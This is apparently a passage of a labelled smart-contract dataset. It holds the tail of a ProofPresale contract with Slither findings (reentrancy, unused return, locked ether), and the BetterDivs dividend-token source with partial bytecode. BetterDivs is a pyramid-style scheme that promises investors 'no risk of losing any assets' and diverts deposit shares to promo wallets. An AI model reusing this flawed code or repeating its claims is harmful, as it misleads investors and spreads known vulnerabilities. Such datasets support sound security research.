using SafeMath for uint256;
ProofPresaleToken public token;
address public wallet; //wallet towards which the funds are forwarded
uint256 public weiRaised; //total amount of ether raised
uint256 public cap; // cap above which the presale ends
uint256 public minInvestment; // minimum investment (10 ether)
uint256 public rate; // number of tokens for one ether (20)
bool public isFinalized;
string public contactInformation;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* event for signaling finished crowdsale
*/
event Finalized();
function ProofPresale() {
token = createTokenContract();
wallet = 0x99892Ac6DA1b3851167Cb959fE945926bca89f09;
rate = 20;
minInvestment = 10 * (10**18); //minimum investment in wei (=10 ether)
cap = 295257 * (10**18); //cap in token base units (=295257 tokens)
}
// creates presale token
function createTokenContract() internal returns (ProofPresaleToken) {
return new ProofPresaleToken();
}
// fallback function to buy tokens
function () payable {
buyTokens(msg.sender);
}
/**
* Low level token purchse function
* @param beneficiary will recieve the tokens.
*/
function buyTokens(address beneficiary) payable whenNotPaused {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// update weiRaised
weiRaised = weiRaised.add(weiAmount);
// compute amount of tokens created
uint256 tokens = weiAmount.mul(rate);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
uint256 weiAmount = weiRaised.add(msg.value);
bool notSmallAmount = msg.value >= minInvestment;
bool withinCap = weiAmount.mul(rate) <= cap;
return (notSmallAmount && withinCap);
}
//allow owner to finalize the presale once the presale is ended
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
token.finishMinting();
Finalized();
isFinalized = true;
}
function setContactInformation(string info) onlyOwner {
contactInformation = info;
}
//return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = (weiRaised.mul(rate) >= cap);
return capReached;
}
}
|
0x606060405236156100d55763ffffffff60e060020a6000350416632c4e722e81146100e2578063355274ea1461010757806336f7ab5e1461012c5780633f4ba83a146101b75780634042b66f146101de5780634bb278f314610203578063521eb273146102185780635c975abb146102475780638456cb591461026e5780638ac2c680146102955780638d4e4083146102ba5780638da5cb5b146102e1578063b967a52e14610310578063ec8ac4d814610363578063ecb70fb714610379578063f2fde38b146103a0578063fc0c546a146103c1575b5b6100df336103f0565b5b005b34156100ed57600080fd5b6100f561053a565b60405190815260200160405180910390f35b341561011257600080fd5b6100f5610540565b60405190815260200160405180910390f35b341561013757600080fd5b61013f610546565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017c5780820151818401525b602001610163565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c257600080fd5b6101ca6105e4565b604051901515815260200160405180910390f35b34156101e957600080fd5b6100f561066b565b60405190815260200160405180910390f35b341561020e57600080fd5b6100df610671565b005b341561022357600080fd5b61022b610750565b604051600160a060020a03909116815260200160405180910390f35b341561025257600080fd5b6101ca61075f565b604051901515815260200160405180910390f35b341561027957600080fd5b6101ca61076f565b604051901515815260200160405180910390f35b34156102a057600080fd5b6100f56107fb565b60405190815260200160405180910390f35b34156102c557600080fd5b6101ca610801565b604051901515815260200160405180910390f35b34156102ec57600080fd5b61022b61080a565b604051600160a060020a03909116815260200160405180910390f35b341561031b57600080fd5b6100df60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061081995505050505050565b005b6100df600160a060020a03600435166103f0565b005b341561038457600080fd5b6101ca61084d565b604051901515815260200160405180910390f35b34156103ab57600080fd5b6100df600160a060020a0360043516610876565b005b34156103cc57600080fd5b61022b6108ce565b604051600160a060020a03909116815260200160405180910390f35b60008054819060a060020a900460ff161561040a57600080fd5b600160a060020a038316151561041f57600080fd5b6104276108dd565b151561043257600080fd5b600354349250610448908363ffffffff61093116565b60035560065461045f90839063ffffffff61094b16565b600154909150600160a060020a03166340c10f19848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104c157600080fd5b6102c65a03f115156104d257600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a361053361097a565b5b5b505050565b60065481565b60045481565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105dc5780601f106105b1576101008083540402835291602001916105dc565b820191906000526020600020905b8154815290600101906020018083116105bf57829003601f168201915b505050505081565b6000805433600160a060020a0390811691161461060057600080fd5b60005460a060020a900460ff16151561061857600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15060015b5b5b90565b60035481565b60005433600160a060020a0390811691161461068c57600080fd5b60075460ff161561069c57600080fd5b6106a461084d565b15156106af57600080fd5b600154600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156106f757600080fd5b6102c65a03f1151561070857600080fd5b50505060405180519050507f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a16007805460ff191660011790555b5b565b600254600160a060020a031681565b60005460a060020a900460ff1681565b6000805433600160a060020a0390811691161461078b57600080fd5b60005460a060020a900460ff16156107a257600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a15060015b5b5b90565b60055481565b60075460ff1681565b600054600160a060020a031681565b60005433600160a060020a0390811691161461083457600080fd5b60088180516108479291602001906109b1565b505b5b50565b60008060045461086a60065460035461094b90919063ffffffff16565b101590508091505b5090565b60005433600160a060020a0390811691161461089157600080fd5b600160a060020a03811615610849576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600154600160a060020a031681565b6000806000806108f83460035461093190919063ffffffff16565b9250600554341015915060045461091a6006548561094b90919063ffffffff16565b111590508180156109285750805b93505b50505090565b60008282018381101561094057fe5b8091505b5092915050565b6000828202831580610967575082848281151561096457fe5b04145b151561094057fe5b8091505b5092915050565b600254600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561074d57600080fd5b5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106109f257805160ff1916838001178555610a1f565b82800160010185558215610a1f579182015b82811115610a1f578251825591602001919060010190610a04565b5b50610872929150610a30565b5090565b61066691905b808211156108725760008155600101610a36565b5090565b90565b6000610a5b610a77565b604051809103906000f0801515610a7157600080fd5b90505b90565b60405161096280610a8883390190560060606040526004805460ff19169055341561001957600080fd5b5b5b60018054600160a060020a03191633600160a060020a03161790555b5b5b61091a806100486000396000f300606060405236156100cd5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100d557806306fdde03146100fc578063095ea7b31461018757806318160ddd146101bd57806323b872dd146101e2578063313ce5671461021e57806340c10f191461024757806370a082311461027d5780637d64bcb4146102ae5780638da5cb5b146102d557806395d89b4114610304578063a9059cbb1461038f578063dd62ed3e146103c5578063f2fde38b146103fc575b5b600080fd5b005b34156100e057600080fd5b6100e861041d565b604051901515815260200160405180910390f35b341561010757600080fd5b61010f610426565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c5780820151818401525b602001610133565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6100e8600160a060020a036004351660243561045d565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d06104ca565b60405190815260200160405180910390f35b34156101ed57600080fd5b6100e8600160a060020a03600435811690602435166044356104d0565b604051901515815260200160405180910390f35b341561022957600080fd5b6102316105e5565b60405160ff909116815260200160405180910390f35b341561025257600080fd5b6100e8600160a060020a03600435166024356105ea565b604051901515815260200160405180910390f35b341561028857600080fd5b6101d0600160a060020a03600435166106b4565b60405190815260200160405180910390f35b34156102b957600080fd5b6100e86106d3565b604051901515815260200160405180910390f35b34156102e057600080fd5b6102e8610732565b604051600160a060020a03909116815260200160405180910390f35b341561030f57600080fd5b61010f610741565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c5780820151818401525b602001610133565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039a57600080fd5b6100e8600160a060020a0360043516602435610778565b604051901515815260200160405180910390f35b34156103d057600080fd5b6101d0600160a060020a0360043581169060243516610838565b60405190815260200160405180910390f35b341561040757600080fd5b6100d3600160a060020a0360043516610865565b005b60045460ff1681565b60408051908101604052601381527f50726f6f662050726573616c6520546f6b656e00000000000000000000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b600160a060020a038084166000908152600360209081526040808320338516845282528083205493861683526002909152812054909190610517908463ffffffff6108bd16565b600160a060020a03808616600090815260026020526040808220939093559087168152205461054c908463ffffffff6108d716565b600160a060020a038616600090815260026020526040902055610575818463ffffffff6108d716565b600160a060020a03808716600081815260036020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b601281565b60015460009033600160a060020a0390811691161461060857600080fd5b60045460ff161561061857600080fd5b60005461062b908363ffffffff6108bd16565b6000908155600160a060020a038416815260026020526040902054610656908363ffffffff6108bd16565b600160a060020a0384166000818152600260205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a25060015b5b5b92915050565b600160a060020a0381166000908152600260205260409020545b919050565b60015460009033600160a060020a039081169116146106f157600080fd5b6004805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b5b90565b600154600160a060020a031681565b60408051908101604052600381527f5050540000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0333166000908152600260205260408120546107a1908363ffffffff6108d716565b600160a060020a0333811660009081526002602052604080822093909355908516815220546107d6908363ffffffff6108bd16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600360209081526040808320938516835292905220545b92915050565b60015433600160a060020a0390811691161461088057600080fd5b600160a060020a038116156108b8576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b6000828201838110156108cc57fe5b8091505b5092915050565b6000828211156108e357fe5b508082035b929150505600a165627a7a7230582069c8ecbf445db951ca0723006f22d0e2a85af2a542a4939fc1cdd668dec2e49d0029a165627a7a72305820b2013ebeb5f1c9205657477bd7b15513d4b30ed80404aa61c79934bf3ed0d5c10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,367 |
0x2a5eba587ac7c1153c22b5f75874b75233442749
|
pragma solidity ^0.4.25;
/*
* http://betterdivs.pw
*
* BetterDivs concept
*
* [✓] 10% Withdraw fee
* [✓] 20% Deposit fee
* [✓] 1% Token transfer
* [✓] No Referral Tokens Go to Everyone
* [✓] 5% Promotion
* BetterDivs is a platform built for short term minting profit accumulation.
* Our service works as exchange wallet for securing your assets in form of decentralized fully automated (BDT) token.
* Token is built to function without any 2nd or 3rd party control.
* All tokens are visible on main network and traceable for full transparency with no governance or overseeing institution involved.
* Concept of this token works as follows:
* BDT Holders have increasing assets via hour that most of the time is being accumulated without any actual use-case.
* So when you collect your Minting profit of example 1.00 ETH after time it still remains as same amount of coins.
* Our goal is to change that. If you have accumulated assets worth 1.00 ETH and transform it into BDT you will receive matching amount of tokens to your ETH according to current market price.
* As token amount grows you will generate more and more ETH same as other users whom have joined the platform.
* Withdraw actions on platform conduct 10% withdraw fees from value that is transformed into BDT assets that works as return of investment for token holders within platform.
* While you keep your assets as long as accumulated enough growth % from (investment - fees) you have no risk of losing any assets.
* Therefore we would like to point out that while you join the platform and have not reached return that covers initial fee you have a very small risk of losing only assets paid in fees if a total market collapse occurs;
* As for token holder you will earn shared amount of every transformation to BDT token or withdraw that is proportional your token amount vs total tokens in circulation.
* All fees conducted from any users on the platform are fully paid out to token holders without any fee.
*
*/
contract BetterDivs {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "BetterDivsToken";
string public symbol = "BDT";
uint8 constant public decimals = 18;
address promo1 = 0x1b03379ef25085bee82a4b3e88c2dcf5881f8731;
address promo2 = 0x04afad681f265cf9f1ae14b01b28b40d745824b3;
uint8 constant internal entryFee_ = 20;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 10;
uint8 constant internal refferalFee_ = 0;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
uint256 getmsgvalue = msg.value / 20;
promo1.transfer(getmsgvalue);
promo2.transfer(getmsgvalue);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
uint256 getmsgvalue = msg.value / 20;
promo1.transfer(getmsgvalue);
promo2.transfer(getmsgvalue);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461019b57806306fdde03146101ce57806310d0ffdd1461025857806318160ddd146102705780632260937314610285578063313ce5671461029d5780633ccfd60b146102c85780634b750334146102df57806356d399e8146102f4578063688abbf7146103095780636b2f46321461032357806370a08231146103385780638620410b14610359578063949e8acd1461036e57806395d89b4114610383578063a9059cbb14610398578063e4849b32146103d0578063e9fad8ee146103e8578063f088d547146103fd578063fdb5a03e14610411575b600061011d346000610426565b50506002546040516014340491600160a060020a0316906108fc8315029083906000818181858888f1935050505015801561015c573d6000803e3d6000fd5b50600354604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610197573d6000803e3d6000fd5b5050005b3480156101a757600080fd5b506101bc600160a060020a0360043516610689565b60408051918252519081900360200190f35b3480156101da57600080fd5b506101e36106c4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561021d578181015183820152602001610205565b50505050905090810190601f16801561024a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026457600080fd5b506101bc600435610752565b34801561027c57600080fd5b506101bc610785565b34801561029157600080fd5b506101bc60043561078b565b3480156102a957600080fd5b506102b26107c7565b6040805160ff9092168252519081900360200190f35b3480156102d457600080fd5b506102dd6107cc565b005b3480156102eb57600080fd5b506101bc61089f565b34801561030057600080fd5b506101bc6108f6565b34801561031557600080fd5b506101bc60043515156108fc565b34801561032f57600080fd5b506101bc61093f565b34801561034457600080fd5b506101bc600160a060020a0360043516610944565b34801561036557600080fd5b506101bc61095f565b34801561037a57600080fd5b506101bc6109aa565b34801561038f57600080fd5b506101e36109bc565b3480156103a457600080fd5b506103bc600160a060020a0360043516602435610a16565b604080519115158252519081900360200190f35b3480156103dc57600080fd5b506102dd600435610bb9565b3480156103f457600080fd5b506102dd610d25565b6101bc600160a060020a0360043516610d52565b34801561041d57600080fd5b506102dd610de0565b6000338180808080808061044561043e8c6014610e96565b6064610ecc565b965061045561043e886000610e96565b95506104618787610ee3565b945061046d8b88610ee3565b935061047884610ef5565b925068010000000000000000850291506000831180156104a257506008546104a08482610f8d565b115b15156104ad57600080fd5b600160a060020a038a16158015906104d7575087600160a060020a03168a600160a060020a031614155b80156104fd5750600454600160a060020a038b1660009081526005602052604090205410155b1561054357600160a060020a038a166000908152600660205260409020546105259087610f8d565b600160a060020a038b1660009081526006602052604090205561055e565b61054d8587610f8d565b945068010000000000000000850291505b600060085411156105c25761057560085484610f8d565b600881905568010000000000000000860281151561058f57fe5b600980549290910490910190556008546801000000000000000086028115156105b457fe5b0483028203820391506105c8565b60088390555b600160a060020a0388166000908152600560205260409020546105eb9084610f8d565b600160a060020a03808a166000818152600560209081526040808320959095556009546007909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d864261065561095f565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260076020908152604080832054600590925290912054600954680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561074a5780601f1061071f5761010080835404028352916020019161074a565b820191906000526020600020905b81548152906001019060200180831161072d57829003601f168201915b505050505081565b600080808061076561043e866014610e96565b92506107718584610ee3565b915061077c82610ef5565b95945050505050565b60085490565b60008060008060085485111515156107a257600080fd5b6107ab85610f9c565b92506107bb61043e84600a610e96565b915061077c8383610ee3565b601281565b60008060006107db60016108fc565b116107e557600080fd5b3391506107f260006108fc565b600160a060020a038316600081815260076020908152604080832080546801000000000000000087020190556006909152808220805490839055905193019350909183156108fc0291849190818181858888f1935050505015801561085b573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b600080600080600854600014156108bd576414f46b040093506108f0565b6108ce670de0b6b3a7640000610f9c565b92506108de61043e84600a610e96565b91506108ea8383610ee3565b90508093505b50505090565b60045481565b600033826109125761090d81610689565b610936565b600160a060020a03811660009081526006602052604090205461093482610689565b015b91505b50919050565b303190565b600160a060020a031660009081526005602052604090205490565b6000806000806008546000141561097d5764199c82cc0093506108f0565b61098e670de0b6b3a7640000610f9c565b925061099e61043e846014610e96565b91506108ea8383610f8d565b6000336109b681610944565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561074a5780601f1061071f5761010080835404028352916020019161074a565b600080600080600080610a276109aa565b11610a3157600080fd5b33600081815260056020526040902054909450861115610a5057600080fd5b6000610a5c60016108fc565b1115610a6a57610a6a6107cc565b610a7861043e876001610e96565b9250610a848684610ee3565b9150610a8f83610f9c565b9050610a9d60085484610ee3565b600855600160a060020a038416600090815260056020526040902054610ac39087610ee3565b600160a060020a038086166000908152600560205260408082209390935590891681522054610af29083610f8d565b600160a060020a0388811660008181526005602090815260408083209590955560098054948a16835260079091528482208054948c02909403909355825491815292909220805492850290920190915554600854610b669190680100000000000000008402811515610b6057fe5b04610f8d565b600955604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610bcc6109aa565b11610bd657600080fd5b33600081815260056020526040902054909650871115610bf557600080fd5b869450610c0185610f9c565b9350610c1161043e85600a610e96565b9250610c1d8484610ee3565b9150610c2b60085486610ee3565b600855600160a060020a038616600090815260056020526040902054610c519086610ee3565b600160a060020a03871660009081526005602090815260408083209390935560095460079091529181208054928802680100000000000000008602019283900390556008549192501015610cc157610cbd600954600854680100000000000000008602811515610b6057fe5b6009555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610cf761095f565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526005602052604081205490811115610d4657610d4681610bb9565b610d4e6107cc565b5050565b600080610d5f3484610426565b50506002546040516014340491600160a060020a0316906108fc8315029083906000818181858888f19350505050158015610d9e573d6000803e3d6000fd5b50600354604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610dd9573d6000803e3d6000fd5b5050919050565b600080600080610df060016108fc565b11610dfa57600080fd5b610e0460006108fc565b33600081815260076020908152604080832080546801000000000000000087020190556006909152812080549082905590920194509250610e46908490610426565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610ea95760009150610ec5565b50828202828482811515610eb957fe5b0414610ec157fe5b8091505b5092915050565b6000808284811515610eda57fe5b04949350505050565b600082821115610eef57fe5b50900390565b6008546000906c01431e0fae6d7217caa00000009082906402540be400610f7a610f74730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001611008565b85610ee3565b811515610f8357fe5b0403949350